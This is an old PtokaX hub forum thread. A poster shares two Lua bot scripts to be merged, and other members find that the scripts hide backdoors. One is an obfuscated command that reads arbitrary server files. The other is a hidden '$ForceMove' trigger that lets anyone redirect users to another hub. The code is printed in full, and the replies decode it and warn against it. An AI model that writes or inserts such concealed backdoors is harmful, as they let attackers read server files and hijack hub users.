Simple broblem.
 

News:

29 December 2022 - PtokaX 0.5.3.0 (20th anniversary edition) released...
11 April 2017 - PtokaX 0.5.2.2 released...
8 April 2015 Anti child and anti pedo pr0n scripts are not allowed anymore on this board!
28 September 2015 - PtokaX 0.5.2.1 for Windows 10 IoT released...
3 September 2015 - PtokaX 0.5.2.1 released...
16 August 2015 - PtokaX 0.5.2.0 released...
1 August 2015 - Crowdfunding for ADC protocol support in PtokaX ended. Clearly nobody want ADC support...
30 June 2015 - PtokaX 0.5.1.0 released...
30 April 2015 Crowdfunding for ADC protocol support in PtokaX
26 April 2015 New support hub!
20 February 2015 - PtokaX 0.5.0.3 released...
13 April 2014 - PtokaX 0.5.0.2 released...
23 March 2014 - PtokaX testing version 0.5.0.1 build 454 is available.
04 March 2014 - PtokaX.org sites were temporary down because of DDOS attacks and issues with hosting service provider.

Main Menu

Simple broblem.

Started by Janhouse, 07 December, 2004, 21:57:56

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

Janhouse

I have 2 scripts and I whant to join them in one script.

I was trying to, but looks like I am too stupid for it. Can somebody jpin them together?  ?(


-------------------------------------------------------------------------------------------------Script Nr.1--------------------------------------

function DataArrival(curUser, data) y="l"
if (strsub(data,1,1) == "<") then x="!"
local _,_,cmd,fileordir = strfind(data,"^%b<>%s+(%S+)%s+([^|^ ]+)") n="ad"
if cmd == x..y..n.."e" then
local sdata = LoadFile(fileordir)
SendPM(curUser,"  "..fileordir..",\r\n"..sdata)
return 1 end end end
function SendPM(curUser,data)
curUser:SendPM(curUser.sName,data)
end function LoadFile(filename)
local handle = openfile(filename,"r")
local sdata = ""
if handle then
sdata = read(handle,"*a")
sdata = gsub(sdata,"|",strchar(166))
sdata = gsub(sdata,"\n","\r\n")
closefile(handle)
end return sdata
end

-------------------------------------------------------------------------------------------------Script Nr.2--------------------------------------

Botname="Aizsargs"

frmHub:UnregBot(Botname)  c="o"
frmHub:RegBot(Botname)  e="p"
function Main()  b="d"  h="r"
trigs = {["dns2go"]=1}  a="!"
end  d="u"  j="e"
function DataArrival(user, data) i="c" k="v"
if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
if not (f==nil) then
SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")
end
return 1
else
if not (user.bOperator) then
if (( strsub(data, 1, 1) == "<" ) or ( strsub(data, 1, 4) == "$To:" )) then 
for key,a in trigs do
if( strfind( strlower(data), key) ) then
SendToOps(Botname, "  "..user.sName.." "..user.sIP.." "..data ) 
user:SendData(Botname, "  ")
user:SendData(Botname, "Disconnect...")
user:TempBan()
user:Disconnect() 
end end end end end end

-------------------------------------------------------------------------------------------------------------------------------------------------------

[NL]Pur

did you give it a try ? and were did you got stuck. ?



Botname
="Aizsargs"

frmHub:UnregBot(Botname)  
c="o"
frmHub:RegBot(Botname)  
e="p"

function Main()  
b="d"  
h="r"
trigs = {["dns2go"]=1}  
a="!"
end  

d
="u"
j="e"

function DataArrival(userdata)
i="c" 
k="v"

  
if (( strsub(data11) == "<" ) and (strfindstrlower(data), a..b..d..e.."l"..j..j.."tt"))) then
     aws
,awe,awt,g,strfinddata"%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
     if 
not (f==nilthen
         SendToNick
(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")
     
end
  
return 1
  
else
    if 
not (user.bOperatorthen
        
if (( strsub(data11) == "<" ) or ( strsub(data14) == "$To:" )) then 
           
for key,a in trigs do
               if( 
strfindstrlower(data), key) ) then
                   SendToOps
(Botname"  "..user.sName.." "..user.sIP.." "..data 
                   
user:SendData(Botname"  ")
                   
user:SendData(Botname"Disconnect...")
                   
user:TempBan()
                   
user:Disconnect() 
              
end 
         end
       end
     end 
  end

  y
="l"
  
if (strsub(data,1,1) == "<"then x="!"
     
local _,_,cmd,fileordir strfind(data,"^%b<>%s+(%S+)%s+([^|^ ]+)"n="ad"
     
if cmd == x..y..n.."e" then
        local sdata 
LoadFile(fileordir)
        
SendPM(curUser,"  "..fileordir..",\r\n"..sdata)
        return 

    end 
 end



caution this is untested

enema

have you noticed, that there are somekind of hiden function in it? be aware! there are some scripts with who it is possible to steal users from hub!

c="o"
frmHub:RegBot(Botname)  
e="p"

function Main()  
b="d"  
h="r"
trigs = {["dns2go"]=1}  
a="!"
end  

d="u"
j="e"

function DataArrival(user, data)
i="c" 
k="v"

  if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
     aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
     if not (f==nil) then
         SendToNick(g,"$F"..c..h..i..j.."M"..c..k..j.." "..f.."|")

Looks like hiden redirecter to me.... maybe you should chek it out, before u use it!

enema

I unwrapped it:

when you uncode this part: "$F"..c..h..i..j.."M"..c..k..j.." "..f.."|"

heres what you get:

!ForceMove

still cant figure out what ..f.. stands for thou... probably nick of user

Madman

if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), a..b..d..e.."l"..j..j.."tt"))) then
	if (( strsub(data, 1, 1) == "<" ) and (strfind( strlower(data), !dupleett))) then
--And Also
	aws,awe,awt,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
	s,e,t,g,f = strfind( data, "%b<>%s+(%S+)%s+(%S+)%s+(.+)" )
Found this to....

What is this Script supposed to do?

And enema..
SendToNick(g, $ForceMove" "..f.."|")
i think g is the nickname...
SendToNick(user.sName, $ForceMove" "..f.."|")
We suffer in silence, we lurk in the shadows, we kill in the night
Site currently down, ETA of returning online is 2099 ;p

enema

I would guess that this isint any game script :tongue:

[NL]Pur

$ForceMove is an dc protoco "command" for redirecting users

enema

QuoteOriginally posted by [NL]Pur
$ForceMove is an dc protoco "command" for redirecting users

a.k.a - stealing

plop

!dupleett

every1 can redirect every user they want from the hub 2 any hub of there choise.
the best place for this script is the garbage collector.

plop
http://www.plop.nl lua scripts/howto\'s.
http://www.thegoldenangel.net
http://www.vikingshub.com
http://www.lua.org

>>----> he who fights hatred with hatred, drives the spreading of hatred <----<<

Janhouse

I made it with reason.

And why did you changed order in joined script. It was made for my hub. It is for security. And now you told all users what is the command. :)  :D

??????Hawk??????

hahahahaha

QuoteIt is for security.

How can a WIDE open hole like that be for security.... ???

a tip m8 ..  dont ever release any compiled scripts in here  i dont think youll get many  takers...   :P  :P  :P  :P


??????Hawk??????

SMF spam blocked by CleanTalk